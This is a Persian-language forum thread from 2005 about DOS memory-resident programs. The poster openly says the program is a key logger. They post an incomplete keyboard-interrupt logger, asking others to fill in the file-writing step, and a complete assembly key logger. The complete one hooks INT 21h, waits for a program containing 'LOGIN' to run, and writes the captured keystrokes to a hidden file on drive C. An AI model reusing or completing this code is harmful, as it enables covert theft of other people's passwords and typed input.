PDA

View Full Version : کمک فوری(مقیم در حافظه)



if
دوشنبه 10 مرداد 1384, 17:44 عصر
با سلام
من یک برنامه مقیم در حافظه دارم که تمامی بخشهای آن درست عمل میکنند ولی در یک قسمت نیاز به ذخیره اطلاعات در هر یک ثانیه بر روی هارد دارم که هنوز نمیتوانم آن را پیاده سازی کنم.فکر میکنم به یک اینتراپت بایوس نیاز است که من از آن اطلاعی ندارم در ضمن از سرویسهای داس هم نمیتونم استفاده کنم چون سیستم هنگ میکند.لطفا راهنمایی کنید.
یک سوال دیگه :
16 radix. چه کار میکند ؟

PalizeSoftware
دوشنبه 10 مرداد 1384, 19:21 عصر
اینتراپتی که بهش لنگر انداختید کدوم هست، داس یا بایوس؟
فایل شما Exe هست یا Com؟

if
سه شنبه 11 مرداد 1384, 01:49 صبح
فایل com است و به اینتراپت تایمر بایوس مرتبط است.

PalizeSoftware
سه شنبه 11 مرداد 1384, 02:14 صبح
خب دوست من پس با این تفاسیر شما امکان صدا زدن توابع اینتراپت 21 رو راحت دارید. پس چرا می‌گید سیستم هنگ می‌کنه؟
بعلاوه بر ذخیره اطلاعات باید از فایلها کمک بگیرید. اگر سورس برنامه رو اینجا قرار بدید یا حداقل مراحل کار رو تشریح کنید بهتر می‌تونم کمک کنم.
http://asefsoft.com/qsimages/88.gif

MSK
دوشنبه 17 مرداد 1384, 12:01 عصر
مشکل از اونجایی ایجاد میشه که درحالی که یه تابع خاص داس درحال اجراست تابع ما از توابع داس استفاده کنه.
مشکل اینجاست که استاگ سگمنت داس برای توابع مختلف داس مشترکه و وقتی مقیم در حافضه ما از داس استفاده میکنه ممکنه باعث بشه تابعی که قبلا در حال اجرا بوده مختل بشه.
دوست ارجمند تا جایی که من یادمه برای رفع این مشکل راه حلی وجود داشت که در کتاب PC System Programming ارایه شده.
آیا جز این مشکل دیگه ای هم داری(جز استفاده از توابع داس)؟

if
دوشنبه 17 مرداد 1384, 20:37 عصر
خیلی ممنون از راهنماییتون
فرض کنید که برنامه من یک key logger است با کد زیر لطف کنید وقسمت ناقص را تکمیل نمایید.
(البته زیاد بی شباهت به برنامه من هم نیست)
int_num equ 9
.model small

rbd segment at 40h
org 1ah
head dw ?
tail dw ?
buff dw 16 dup(?)
buffend label word
rbd ends

.code
org 100h
first: jmp load_prog

old_key label word
old_key_int dd ?

prog proc

push ax
push bx
push cx
push dx
push di
push si
push ds
push es
pushf
call old_key_int

assume ds:rbd
mov bx,rbd
mov ds,bx

mov bx,tail
cmp bx,head
je exit
sub bx,2
cmp bx,offset buff
jae no_wrap
mov bx,offset buffend
sub bx,2

no_wrap:
mov dx,[bx]
;---------------------------------------
;dl have a last key ascii code

;Our program that must log code in a file

;---------------------------------------
exit: pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax
iret
prog endp

load_prog proc
mov ah,35h
mov al,int_num
int 21h

mov old_key,bx
mov old_key[2],es

mov ah,25h
lea dx,prog
int 21h

mov dx,offset load_prog
int 27h
load_prog endp

end first

if
دوشنبه 17 مرداد 1384, 20:46 عصر
البته برنامه زیر هم یک key logger داس است که با سرچ ویافتن کلمه login در بافر کیبورد کل بافر را در یک فایل روی درایو سی ذخیره میکند ولی هر چی نگاه کردم چیزی دست گیرم نشد اصلا نفهمیدم با چه روشی فایل ایجاد میشه ؟!!!
خواهش میکنم راهنمایی کنید.

cseg segment
assume cs:cseg,ds:cseg
org 100h
public oi21,ac,ob,fn,fh,flag,ni21,jtov,oc,lethro,wpwtf,ex ist,create,
public cntr,lits,begin
.RADIX 16
start:
push cs
push cs
push cs
pop ds
pop es
mov ax,0fffeh
CLI
pop ss
mov sp,ax
STI
jmp begin
oi21 dd ?
ac dw 0
ob dw 80h dup (?)
buff2 db 80h dup (?)
fn db 'c:\testing',0FF,'.tmp',0
search1 db 'LOGIN'
foundf db 0
fh dw 0
flag db 0
cntr dw 0

ni21:
assume cs:cseg,ds:nothing,es:nothing

cmp ax,4b00h
je exec
cmp foundf,0ffh
jne nc
cmp ah,8
je oc
cmp ah,7
je oc


nc:
push ax
mov al,cs:flag
not al
cmp al,0
jne jtov
mov ax,cntr
inc ax
mov cntr,ax
cmp ax,31h
jb jtov
xor ax,ax
mov cntr,ax
mov flag,al
pop ax
pushf
call dword ptr [oi21]
push ds
push cs
pop ds
push ax
push bx
push cx
push dx
jmp short wpwtf
jtov:
pop ax
jmp dword ptr cs:[oi21]
exec: call scanfor
jmp nc
oc:

pushf
call dword ptr cs:[oi21]
assume ds:cseg
push ds
push cs
pop ds
push ax
push bx
push cx
push dx
mov bx,ac
mov [bx],al
inc bx
mov [ac],bx
cmp al,0dh
jne lethro
mov byte ptr [bx],0ah
not cs:[flag]
lethro:
pop dx
pop cx
pop bx
pop ax
pop ds
iret

scanfor:
push ax
push di
push si
push es
push ds
push cs
push cs
pop es
mov si,dx
mov di,offset buff2
moveit:
lodsb
and al,0dfh
stosb
or al,al
jnz moveit
pop ds
mov di,offset buff2
look:
push di
mov si,offset search1
mov cx,5
repe cmpsb
pop di
or cx,cx
jz foundit
inc di
cmp byte ptr [di+5],0
je not_found
jmp look
not_found:
xor ax,ax
mov foundf,al
jmp short endofsearch
foundit:
mov ax,0ffh
mov foundf,al
endofsearch:
pop ds
pop es
pop si
pop di
pop ax
ret


wpwtf:
mov ax,3d02h
mov dx,offset fn
pushf
call dword ptr [oi21]
jnc exist
cmp al,2
je create
jmp lethro
create:
mov ah,3ch
mov dx,offset fn
mov cx,02h+04h
pushf
call dword ptr [oi21]
jnc exist
jmp lethro
exist:
mov fh,ax
mov bx,ax
mov ax,4202h
xor cx,cx
xor dx,dx
pushf
call dword ptr[oi21]
mov cx,[ac]
mov dx,offset ob
sub cx,dx
mov [ac],dx
inc cx
mov bx,fh
mov ah,40h
pushf
call dword ptr [oi21]
mov ah,3eh
mov bx,fh
pushf
call dword ptr [oi21]
jmp lethro


lits db 90h
begin:
mov ax,offset ob
mov [ac],ax
mov ax,3521h
int 21h
mov di,offset oi21
mov [di],bx
mov [di+2],es
mov dx,offset ni21
push cs
pop ds
mov ax,2521h
int 21h
mov dx,offset lits
int 27h
cseg ends
end start

if
دوشنبه 17 مرداد 1384, 20:51 عصر
در ضمن اون کتابی را هم که Msk عزیز فرمودند اگه همون کتاب معروف پیتر نورتون است که چیزی ندارد من این کتاب را دارم ومباحث مختلفش را گشتم.اگه من اشتباه میکنم دقیقتر آدرس بدید بلکه مشکل حل بشه (خواهشا سریعتر.بد جوری لنگ موندم)

if
سه شنبه 18 مرداد 1384, 13:12 عصر
شما را به خدا کمک کنید.یکی پیدا نمیشه این سه چهار خط کد را بنویسه